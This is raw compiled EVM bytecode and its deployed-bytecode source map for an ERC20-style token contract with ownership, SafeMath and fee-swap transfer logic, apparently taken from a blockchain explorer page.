5b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006125bc6026836120dd565b91506125c782612560565b604082019050919050565b600060208201905081810360008301526125eb816125af565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b600061264e6024836120dd565b9150612659826125f2565b604082019050919050565b6000602082019050818103600083015261267d81612641565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006126e06022836120dd565b91506126eb82612684565b604082019050919050565b6000602082019050818103600083015261270f816126d3565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006127726025836120dd565b915061277d82612716565b604082019050919050565b600060208201905081810360008301526127a181612765565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006128046023836120dd565b915061280f826127a8565b604082019050919050565b60006020820190508181036000830152612833816127f7565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006128966029836120dd565b91506128a18261283a565b604082019050919050565b600060208201905081810360008301526128c581612889565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612906826121e7565b9150612911836121e7565b9250828203905081811115612929576129286128cc565b5b92915050565b600061293a826121e7565b9150612945836121e7565b925082820190508082111561295d5761295c6128cc565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000612999601b836120dd565b91506129a482612963565b602082019050919050565b600060208201905081810360008301526129c88161298c565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050612a3c816121bb565b92915050565b600060208284031215612a5857612a57612184565b5b6000612a6684828501612a2d565b91505092915050565b6000819050919050565b6000612a94612a8f612a8a84612a6f565b61239e565b6121e7565b9050919050565b612aa481612a79565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b612adf816121a9565b82525050565b6000612af18383612ad6565b60208301905092915050565b6000602082019050919050565b6000612b1582612aaa565b612b1f8185612ab5565b9350612b2a83612ac6565b8060005b83811015612b5b578151612b428882612ae5565b9750612b4d83612afd565b925050600181019050612b2e565b5085935050505092915050565b600060a082019050612b7d6000830188612293565b612b8a6020830187612a9b565b8181036040830152612b9c8186612b0a565b9050612bab6060830185612310565b612bb86080830184612293565b9695505050505050565b6000612bcd826121e7565b9150612bd8836121e7565b9250828202612be6816121e7565b91508282048414831517612bfd57612bfc6128cc565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000612c3e826121e7565b9150612c49836121e7565b925082612c5957612c58612c04565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000612cc06021836120dd565b9150612ccb82612c64565b604082019050919050565b60006020820190508181036000830152612cef81612cb3565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220f8ff4509ebc012e2c9c90d4e8ad9fac00c2a568a7fa42b7982eeffed7b7f52a664736f6c63430008130033
Deployed Bytecode Sourcemap
8018:8130:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10449:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11740:156;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10722:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12838:313;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8276:71;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10631:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11108:218;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8536:45;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8985:41;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8479:50;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6198:90;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10830:119;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8635:37;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5579:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5793:145;;;;;;;;;;;;;:::i;:::-;;10540:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11611:121;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11334:269;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12663:167;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8876:39;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5455:21;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8922:26;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8224:45;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9033;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10957:143;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12249:173;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;8592:36;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5946:244;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;10449:83;10486:13;10519:5;10512:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10449:83;:::o;11740:156::-;11815:4;11832:39;11841:12;:10;:12::i;:::-;11855:7;11864:6;11832:8;:39::i;:::-;11889:4;11882:11;;11740:156;;;;:::o;10722:100::-;10775:7;10802:12;;10795:19;;10722:100;:::o;12838:313::-;12936:4;12953:36;12963:6;12971:9;12982:6;12953:9;:36::i;:::-;;13000:121;13009:6;13017:12;:10;:12::i;:::-;13031:89;13069:6;13031:89;;;;;;;;;;;;;;;;;:11;:19;13043:6;13031:19;;;;;;;;;;;;;;;:33;13051:12;:10;:12::i;:::-;13031:33;;;;;;;;;;;;;;;;:37;;:89;;;;;:::i;:::-;13000:8;:121::i;:::-;13139:4;13132:11;;12838:313;;;;;:::o;8276:71::-;;;;;;;;;;;;;:::o;10631:83::-;10672:5;10697:9;;;;;;;;;;;10690:16;;10631:83;:::o;11108:218::-;11196:4;11213:83;11222:12;:10;:12::i;:::-;11236:7;11245:50;11284:10;11245:11;:25;11257:12;:10;:12::i;:::-;11245:25;;;;;;;;;;;;;;;:34;11271:7;11245:34;;;;;;;;;;;;;;;;:38;;:50;;;;:::i;:::-;11213:8;:83::i;:::-;11314:4;11307:11;;11108:218;;;;:::o;8536:45::-;;;;;;;;;;;;;;;;;;;;;;:::o;8985:41::-;;;;;;;;;;;;;:::o;8479:50::-;;;;;;;;;;;;;;;;;;;;;;:::o;6198:90::-;6238:7;6265:15;6258:22;;6198:90;:::o;10830:119::-;10896:7;10923:9;:18;10933:7;10923:18;;;;;;;;;;;;;;;;10916:25;;10830:119;;;:::o;8635:37::-;;;;:::o;5579:79::-;5617:7;5644:6;;;;;;;;;;;5637:13;;5579:79;:::o;5793:145::-;5716:12;:10;:12::i;:::-;5706:22;;:6;;;;;;;;;;:22;;;5698:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;5897:1:::1;5860:40;;5881:6;::::0;::::1;;;;;;;;5860:40;;;;;;;;;;;;5928:1;5911:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;5793:145::o:0;10540:83::-;10579:13;10612:7;10605:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10540:83;:::o;11611:121::-;11673:7;11700:24;;11693:31;;11611:121;:::o;11334:269::-;11427:4;11444:129;11453:12;:10;:12::i;:::-;11467:7;11476:96;11515:15;11476:96;;;;;;;;;;;;;;;;;:11;:25;11488:12;:10;:12::i;:::-;11476:25;;;;;;;;;;;;;;;:34;11502:7;11476:34;;;;;;;;;;;;;;;;:38;;:96;;;;;:::i;:::-;11444:8;:129::i;:::-;11591:4;11584:11;;11334:269;;;;:::o;12663:167::-;12741:4;12758:42;12768:12;:10;:12::i;:::-;12782:9;12793:6;12758:9;:42::i;:::-;;12818:4;12811:11;;12663:167;;;;:::o;8876:39::-;;;;;;;;;;;;;:::o;5455:21::-;;;;;;;;;;;;:::o;8922:26::-;;;;;;;;;;;;;:::o;8224:45::-;;;;;;;;;;;;;:::o;9033:::-;;;;;;;;;;;;;:::o;10957:143::-;11038:7;11065:11;:18;11077:5;11065:18;;;;;;;;;;;;;;;:27;11084:7;11065:27;;;;;;;;;;;;;;;;11058:34;;10957:143;;;;:::o;12249:173::-;5716:12;:10;:12::i;:::-;5706:22;;:6;;;;;;;;;;:22;;;5698:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;12366:8:::1;12331:14;;:44;;;;;;;;;;;;;;;;;;12410:4;12386:21;;:28;;;;;;;;;;;;;;;;;;12249:173:::0;:::o;8592:36::-;;;;:::o;5946:244::-;5716:12;:10;:12::i;:::-;5706:22;;:6;;;;;;;;;;:22;;;5698:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;6055:1:::1;6035:22;;:8;:22;;::::0;6027:73:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;6145:8;6116:38;;6137:6;::::0;::::1;;;;;;;;6116:38;;;;;;;;;;;;6174:8;6165:6;::::0;:17:::1;;;;;;;;;;;;;;;;;;5946:244:::0;:::o;103:115::-;156:15;199:10;184:26;;103:115;:::o;11904:337::-;12014:1;11997:19;;:5;:19;;;11989:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;12095:1;12076:21;;:7;:21;;;12068:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;12179:6;12149:11;:18;12161:5;12149:18;;;;;;;;;;;;;;;:27;12168:7;12149:27;;;;;;;;;;;;;;;:36;;;;12217:7;12201:32;;12210:5;12201:32;;;12226:6;12201:32;;;;;;:::i;:::-;;;;;;;;11904:337;;;:::o;13159:1314::-;13246:4;13291:1;13273:20;;:6;:20;;;13265:70;;;;;;;;;;;;:::i;:::-;;;;;;;;;13375:1;13354:23;;:9;:23;;;13346:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;13445:1;13436:6;:10;13428:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;13516:16;;;;;;;;;;;13513:953;;;13565:41;13580:6;13588:9;13599:6;13565:14;:41::i;:::-;13558:48;;;;13513:953;13659:28;13690:24;13708:4;13690:9;:24::i;:::-;13659:55;;13736:16;;;;;;;;;;;13735:17;:42;;;;;13757:12;:20;13770:6;13757:20;;;;;;;;;;;;;;;;;;;;;;;;;13756:21;13735:42;:67;;;;;13781:21;;;;;;;;;;;13735:67;13731:281;;;13839:25;;;;;;;;;;;13836:98;;;13910:24;;13887:47;;13836:98;13953:43;13968:20;13989:6;13953:14;:43::i;:::-;13731:281;14048:53;14070:6;14048:53;;;;;;;;;;;;;;;;;:9;:17;14058:6;14048:17;;;;;;;;;;;;;;;;:21;;:53;;;;;:::i;:::-;14028:9;:17;14038:6;14028:17;;;;;;;;;;;;;;;:73;;;;14118:19;14141:17;:25;14159:6;14141:25;;;;;;;;;;;;;;;;;;;;;;;;;:57;;;;14170:17;:28;14188:9;14170:28;;;;;;;;;;;;;;;;;;;;;;;;;14141:57;14140:147;;14253:34;14261:6;14269:9;14280:6;14253:7;:34::i;:::-;14140:147;;;14244:6;14140:147;14118:169;;14329:37;14354:11;14329:9;:20;14339:9;14329:20;;;;;;;;;;;;;;;;:24;;:37;;;;:::i;:::-;14306:9;:20;14316:9;14306:20;;;;;;;;;;;;;;;:60;;;;14405:9;14388:40;;14397:6;14388:40;;;14416:11;14388:40;;;;;;:::i;:::-;;;;;;;;14450:4;14443:11;;;;13159:1314;;;;;;:::o;1525:192::-;1611:7;1644:1;1639;:6;;1647:12;1631:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;1671:9;1687:1;1683;:5;;;;:::i;:::-;1671:17;;1708:1;1701:8;;;1525:192;;;;;:::o;1192:181::-;1250:7;1270:9;1286:1;1282;:5;;;;:::i;:::-;1270:17;;1311:1;1306;:6;;1298:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;1364:1;1357:8;;;1192:181;;;;:::o;14481:330::-;14574:4;14611:53;14633:6;14611:53;;;;;;;;;;;;;;;;;:9;:17;14621:6;14611:17;;;;;;;;;;;;;;;;:21;;:53;;;;;:::i;:::-;14591:9;:17;14601:6;14591:17;;;;;;;;;;;;;;;:73;;;;14698:32;14723:6;14698:9;:20;14708:9;14698:20;;;;;;;;;;;;;;;;:24;;:32;;;;:::i;:::-;14675:9;:20;14685:9;14675:20;;;;;;;;;;;;;;;:55;;;;14763:9;14746:35;;14755:6;14746:35;;;14774:6;14746:35;;;;;;:::i;:::-;;;;;;;;14799:4;14792:11;;14481:330;;;;;:::o;14821:702::-;9605:4;9586:16;;:23;;;;;;;;;;;;;;;;;;14940:21:::1;14978:1;14964:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;14940:40;;15009:4;14991;14996:1;14991:7;;;;;;;;:::i;:::-;;;;;;;:23;;;;;;;;;::::0;::::1;15035:6;15025:4;15030:1;15025:7;;;;;;;;:::i;:::-;;;;;;;:16;;;;;;;;;::::0;::::1;15062:14;;;;;;;;;;;:19;;;:21;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;15052:4;15057:1;15052:7;;;;;;;;:::i;:::-;;;;;;;:31;;;;;;;;;::::0;::::1;15130:14;;;;;;;;;;;:65;;;15206:7;15224:1;15264:4;15287;15319:15;15130:215;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;15358:22;15383:21;15358:46;;15437:1;15420:14;:18;15417:96;;;15453:60;15474:22;;;;;;;;;;;15498:14;15453:20;:60::i;:::-;15417:96;14897:626;;9651:5:::0;9632:16;;:24;;;;;;;;;;;;;;;;;;14821:702;;:::o;15533:605::-;15619:7;15641:17;15661:1;15641:21;;15676:12;:20;15689:6;15676:20;;;;;;;;;;;;;;;;;;;;;;;;;15673:237;;;15725:38;15759:3;15725:29;15736:17;;15725:6;:10;;:29;;;;:::i;:::-;:33;;:38;;;;:::i;:::-;15713:50;;15673:237;;;15807:12;:23;15820:9;15807:23;;;;;;;;;;;;;;;;;;;;;;;;;15804:106;;;15859:39;15894:3;15859:30;15870:18;;15859:6;:10;;:30;;;;:::i;:::-;:34;;:39;;;;:::i;:::-;15847:51;;15804:106;15673:237;15935:1;15923:9;:13;15920:170;;;15977:39;16006:9;15977;:24;15995:4;15977:24;;;;;;;;;;;;;;;;:28;;:39;;;;:::i;:::-;15953:9;:21;15971:1;15953:21;;;;;;;;;;;;;;;:63;;;;16061:4;16036:42;;16045:6;16036:42;;;16068:9;16036:42;;;;;;:::i;:::-;;;;;;;;15920:170;16109:21;16120:9;16109:6;:10;;:21;;;;:::i;:::-;16102:28;;;15533:605;;;;;:::o;12432:126::-;12524:9;:18;;:26;12543:6;12524:26;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12432:126;;:::o;1725:250::-;1783:7;1812:1;1807;:6;1803:47;;1837:1;1830:8;;;;1803:47;1862:9;1878:1;1874;:5;;;;:::i;:::-;1862:17;;1907:1;1902;1898;:5;;;;:::i;:::-;:10;1890:56;;;;;;;;;;;;:::i;:::-;;;;;;;;;1966:1;1959:8;;;1725:250;;;;;:::o;1983:132::-;2041:7;2068:39;2072:1;2075;2068:39;;;;;;;;;;;;;;;;;:3;:39::i;:::-;2061:46;;1983:132;;;;:::o;1381:136::-;1439:7;1466:43;1470:1;1473;1466:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;1459:50;;1381:136;;;;:::o;2123:278::-;2209:7;2241:1;2237;:5;2244:12;2229:28;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;2268:9;2284:1;2280;:5;;;;:::i;:::-;2268:17;;2392:1;2385:8;;;2123:278;;;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:246::-;368:1;378:113;392:6;389:1;386:13;378:113;;;477:1;472:3;468:11;462:18;458:1;453:3;449:11;442:39;414:2;411:1;407:10;402:15;;378:113;;;525:1;516:6;511:3;507:16;500:27;349:184;287:246;;;:::o;539:102::-;580:6;631:2;627:7;622:2;615:5;611:14;607:28;597:38;;539:102;;;:::o;647:377::-;735:3;763:39;796:5;763:39;:::i;:::-;818:71;882:6;877:3;818:71;:::i;:::-;811:78;;898:65;956:6;951:3;944:4;937:5;933:16;898:65;:::i;:::-;988:29;1010:6;988:29;:::i;:::-;983:3;979:39;972:46;;739:285;647:377;;;;:::o;1030:313::-;1143:4;1181:2;1170:9;1166:18;1158:26;;1230:9;1224:4;1220:20;1216:1;1205:9;1201:17;1194:47;1258:78;1331:4;1322:6;1258:78;:::i;:::-;1250:86;;1030:313;;;;:::o;1430:117::-;1539:1;1536;1529:12;1676:126;1713:7;1753:42;1746:5;1742:54;1731:65;;1676:126;;;:::o;1808:96::-;1845:7;1874:24;1892:5;1874:24;:::i;:::-;1863:35;;1808:96;;;:::o;1910:122::-;1983:24;2001:5;1983:24;:::i;:::-;1976:5;1973:35;1963:63;;2022:1;2019;2012:12;1963:63;1910:122;:::o;2038:139::-;2084:5;2122:6;2109:20;2100:29;;2138:33;2165:5;2138:33;:::i;:::-;2038:139;;;;:::o;2183:77::-;2220:7;2249:5;2238:16;;2183:77;;;:::o;2266:122::-;2339:24;2357:5;2339:24;:::i;:::-;2332:5;2329:35;2319:63;;2378:1;2375;2368:12;2319:63;2266:122;:::o;2394:139::-;2440:5;2478:6;2465:20;2456:29;;2494:33;2521:5;2494:33;:::i;:::-;2394:139;;;;:::o;2539:474::-;2607:6;2615;2664:2;2652:9;2643:7;2639:23;2635:32;2632:119;;;2670:79;;:::i;:::-;2632:119;2790:1;2815:53;2860:7;2851:6;2840:9;2836:22;2815:53;:::i;:::-;2805:63;;2761:117;2917:2;2943:53;2988:7;2979:6;2968:9;2964:22;2943:53;:::i;:::-;2933:63;;2888:118;2539:474;;;;;:::o;3019:90::-;3053:7;3096:5;3089:13;3082:21;3071:32;;3019:90;;;:::o;3115:109::-;3196:21;3211:5;3196:21;:::i;:::-;3191:3;3184:34;3115:109;;:::o;3230:210::-;3317:4;3355:2;3344:9;3340:18;3332:26;;3368:65;3430:1;3419:9;3415:17;3406:6;3368:65;:::i;:::-;3230:210;;;;:::o;3446:118::-;3533:24;3551:5;3533:24;:::i;:::-;3528:3;3521:37;3446:118;;:::o;3570:222::-;3663:4;3701:2;3690:9;3686:18;3678:26;;3714:71;3782:1;3771:9;3767:17;3758:6;3714:71;:::i;:::-;3570:222;;;;:::o;3798:619::-;3875:6;3883;3891;3940:2;3928:9;3919:7;3915:23;3911:32;3908:119;;;3946:79;;:::i;:::-;3908:119;4066:1;4091:53;4136:7;4127:6;4116:9;4112:22;4091:53;:::i;:::-;4081:63;;4037:117;4193:2;4219:53;4264:7;4255:6;4244:9;4240:22;4219:53;:::i;:::-;4209:63;;4164:118;4321:2;4347:53;4392:7;4383:6;4372:9;4368:22;4347:53;:::i;:::-;4337:63;;4292:118;3798:619;;;;;:::o;4423:118::-;4510:24;4528:5;4510:24;:::i;:::-;4505:3;4498:37;4423:118;;:::o;4547:222::-;4640:4;4678:2;4667:9;4663:18;4655:26;;4691:71;4759:1;4748:9;4744:17;4735:6;4691:71;:::i;:::-;4547:222;;;;:::o;4775:86::-;4810:7;4850:4;4843:5;4839:16;4828:27;;4775:86;;;:::o;4867:112::-;4950:22;4966:5;4950:22;:::i;:::-;4945:3;4938:35;4867:112;;:::o;4985:214::-;5074:4;5112:2;5101:9;5097:18;5089:26;;5125:67;5189:1;5178:9;5174:17;5165:6;5125:67;:::i;:::-;4985:214;;;;:::o;5205:329::-;5264:6;5313:2;5301:9;5292:7;5288:23;5284:32;5281:119;;;5319:79;;:::i;:::-;5281:119;5439:1;5464:53;5509:7;5500:6;5489:9;5485:22;5464:53;:::i;:::-;5454:63;;5410:117;5205:329;;;;:::o;5540:60::-;5568:3;5589:5;5582:12;;5540:60;;;:::o;5606:142::-;5656:9;5689:53;5707:34;5716:24;5734:5;5716:24;:::i;:::-;5707:34;:::i;:::-;5689:53;:::i;:::-;5676:66;;5606:142;;;:::o;5754:126::-;5804:9;5837:37;5868:5;5837:37;:::i;:::-;5824:50;;5754:126;;;:::o;5886:151::-;5961:9;5994:37;6025:5;5994:37;:::i;:::-;5981:50;;5886:151;;;:::o;6043:181::-;6155:62;6211:5;6155:62;:::i;:::-;6150:3;6143:75;6043:181;;:::o;6230:272::-;6348:4;6386:2;6375:9;6371:18;6363:26;;6399:96;6492:1;6481:9;6477:17;6468:6;6399:96;:::i;:::-;6230:272;;;;:::o;6508:104::-;6553:7;6582:24;6600:5;6582:24;:::i;:::-;6571:35;;6508:104;;;:::o;6618:142::-;6721:32;6747:5;6721:32;:::i;:::-;6716:3;6709:45;6618:142;;:::o;6766:254::-;6875:4;6913:2;6902:9;6898:18;6890:26;;6926:87;7010:1;6999:9;6995:17;6986:6;6926:87;:::i;:::-;6766:254;;;;:::o;7026:474::-;7094:6;7102;7151:2;7139:9;7130:7;7126:23;7122:32;7119:119;;;7157:79;;:::i;:::-;7119:119;7277:1;7302:53;7347:7;7338:6;7327:9;7323:22;7302:53;:::i;:::-;7292:63;;7248:117;7404:2;7430:53;7475:7;7466:6;7455:9;7451:22;7430:53;:::i;:::-;7420:63;;7375:118;7026:474;;;;;:::o;7506:180::-;7554:77;7551:1;7544:88;7651:4;7648:1;7641:15;7675:4;7672:1;7665:15;7692:320;7736:6;7773:1;7767:4;7763:12;7753:22;;7820:1;7814:4;7810:12;7841:18;7831:81;;7897:4;7889:6;7885:17;7875:27;;7831:81;7959:2;7951:6;7948:14;7928:18;7925:38;7922:84;;7978:18;;:::i;:::-;7922:84;7743:269;7692:320;;;:::o;8018:182::-;8158:34;8154:1;8146:6;8142:14;8135:58;8018:182;:::o;8206:366::-;8348:3;8369:67;8433:2;8428:3;8369:67;:::i;:::-;8362:74;;8445:93;8534:3;8445:93;:::i;:::-;8563:2;8558:3;8554:12;8547:19;;8206:366;;;:::o;8578:419::-;8744:4;8782:2;8771:9;8767:18;8759:26;;8831:9;8825:4;8821:20;8817:1;8806:9;8802:17;8795:47;8859:131;8985:4;8859:131;:::i;:::-;8851:139;;8578:419;;;:::o;9003:225::-;9143:34;9139:1;9131:6;9127:14;9120:58;9212:8;9207:2;9199:6;9195:15;9188:33;9003:225;:::o;9234:366::-;9376:3;9397:67;9461:2;9456:3;9397:67;:::i;:::-;9390:74;;9473:93;9562:3;9473:93;:::i;:::-;9591:2;9586:3;9582:12;9575:19;;9234:366;;;:::o;9606:419::-;9772:4;9810:2;9799:9;9795:18;9787:26;;9859:9;9853:4;9849:20;9845:1;9834:9;9830:17;9823:47;9887:131;10013:4;9887:131;:::i;:::-;9879:139;;9606:419;;;:::o;10031:223::-;10171:34;10167:1;10159:6;10155:14;10148:58;10240:6;10235:2;10227:6;10223:15;10216:31;10031:223;:::o;10260:366::-;10402:3;10423:67;10487:2;10482:3;10423:67;:::i;:::-;10416:74;;10499:93;10588:3;10499:93;:::i;:::-;10617:2;10612:3;10608:12;10601:19;;10260:366;;;:::o;10632:419::-;10798:4;10836:2;10825:9;10821:18;10813:26;;10885:9;10879:4;10875:20;10871:1;10860:9;10856:17;10849:47;10913:131;11039:4;10913:131;:::i;:::-;10905:139;;10632:419;;;:::o;11057:221::-;11197:34;11193:1;11185:6;11181:14;11174:58;11266:4;11261:2;11253:6;11249:15;11242:29;11057:221;:::o;11284:366::-;11426:3;11447:67;11511:2;11506:3;11447:67;:::i;:::-;11440:74;;11523:93;11612:3;11523:93;:::i;:::-;11641:2;11636:3;11632:12;11625:19;;11284:366;;;:::o;11656:419::-;11822:4;11860:2;11849:9;11845:18;11837:26;;11909:9;11903:4;11899:20;11895:1;11884:9;11880:17;11873:47;11937:131;12063:4;11937:131;:::i;:::-;11929:139;;11656:419;;;:::o;12081:224::-;12221:34;12217:1;12209:6;12205:14;12198:58;12290:7;12285:2;12277:6;12273:15;12266:32;12081:224;:::o;12311:366::-;12453:3;12474:67;12538:2;12533:3;12474:67;:::i;:::-;12467:74;;12550:93;12639:3;12550:93;:::i;:::-;12668:2;12663:3;12659:12;12652:19;;12311:366;;;:::o;12683:419::-;12849:4;12887:2;12876:9;12872:18;12864:26;;12936:9;12930:4;12926:20;12922:1;12911:9;12907:17;12900:47;12964:131;13090:4;12964:131;:::i;:::-;12956:139;;12683:419;;;:::o;13108:222::-;13248:34;13244:1;13236:6;13232:14;13225:58;13317:5;13312:2;13304:6;13300:15;13293:30;13108:222;:::o;13336:366::-;13478:3;13499:67;13563:2;13558:3;13499:67;:::i;:::-;13492:74;;13575:93;13664:3;13575:93;:::i;:::-;13693:2;13688:3;13684:12;13677:19;;13336:366;;;:::o;13708:419::-;13874:4;13912:2;13901:9;13897:18;13889:26;;13961:9;13955:4;13951:20;13947:1;13936:9;13932:17;13925:47;13989:131;14115:4;13989:131;:::i;:::-;13981:139;;13708:419;;;:::o;14133:228::-;14273:34;14269:1;14261:6;14257:14;14250:58;14342:11;14337:2;14329:6;14325:15;14318:36;14133:228;:::o;14367:366::-;14509:3;14530:67;14594:2;14589:3;14530:67;:::i;:::-;14523:74;;14606:93;14695:3;14606:93;:::i;:::-;14724:2;14719:3;14715:12;14708:19;;14367:366;;;:::o;14739:419::-;14905:4;14943:2;14932:9;14928:18;14920:26;;14992:9;14986:4;14982:20;14978:1;14967:9;14963:17;14956:47;15020:131;15146:4;15020:131;:::i;:::-;15012:139;;14739:419;;;:::o;15164:180::-;15212:77;15209:1;15202:88;15309:4;15306:1;15299:15;15333:4;15330:1;15323:15;15350:194;15390:4;15410:20;15428:1;15410:20;:::i;:::-;15405:25;;15444:20;15462:1;15444:20;:::i;:::-;15439:25;;15488:1;15485;15481:9;15473:17;;15512:1;15506:4;15503:11;15500:37;;;15517:18;;:::i;:::-;15500:37;15350:194;;;;:::o;15550:191::-;15590:3;15609:20;15627:1;15609:20;:::i;:::-;15604:25;;15643:20;15661:1;15643:20;:::i;:::-;15638:25;;15686:1;15683;15679:9;15672:16;;15707:3;15704:1;15701:10;15698:36;;;15714:18;;:::i;:::-;15698:36;15550:191;;;;:::o;15747:177::-;15887:29;15883:1;15875:6;15871:14;15864:53;15747:177;:::o;15930:366::-;16072:3;16093:67;16157:2;16152:3;16093:67;:::i;:::-;16086:74;;16169:93;16258:3;16169:93;:::i;:::-;16287:2;16282:3;16278:12;16271:19;;15930:366;;;:::o;16302:419::-;16468:4;16506:2;16495:9;16491:18;16483:26;;16555:9;16549:4;16545:20;16541:1;16530:9;16526:17;16519:47;16583:131;16709:4;16583:131;:::i;:::-;16575:139;;16302:419;;;:::o;16727:180::-;16775:77;16772:1;16765:88;16872:4;16869:1;16862:15;16896:4;16893:1;16886:15;16913:180;16961:77;16958:1;16951:88;17058:4;17055:1;17048:15;17082:4;17079:1;17072:15;17099:143;17156:5;17187:6;17181:13;17172:22;;17203:33;17230:5;17203:33;:::i;:::-;17099:143;;;;:::o;17248:351::-;17318:6;17367:2;17355:9;17346:7;17342:23;17338:32;17335:119;;;17373:79;;:::i;:::-;17335:119;17493:1;17518:64;17574:7;17565:6;17554:9;17550:22;17518:64;:::i;:::-;17508:74;;17464:128;17248:351;;;;:::o;17605:85::-;17650:7;17679:5;17668:16;;17605:85;;;:::o;17696:158::-;17754:9;17787:61;17805:42;17814:32;17840:5;17814:32;:::i;:::-;17805:42;:::i;:::-;17787:61;:::i;:::-;1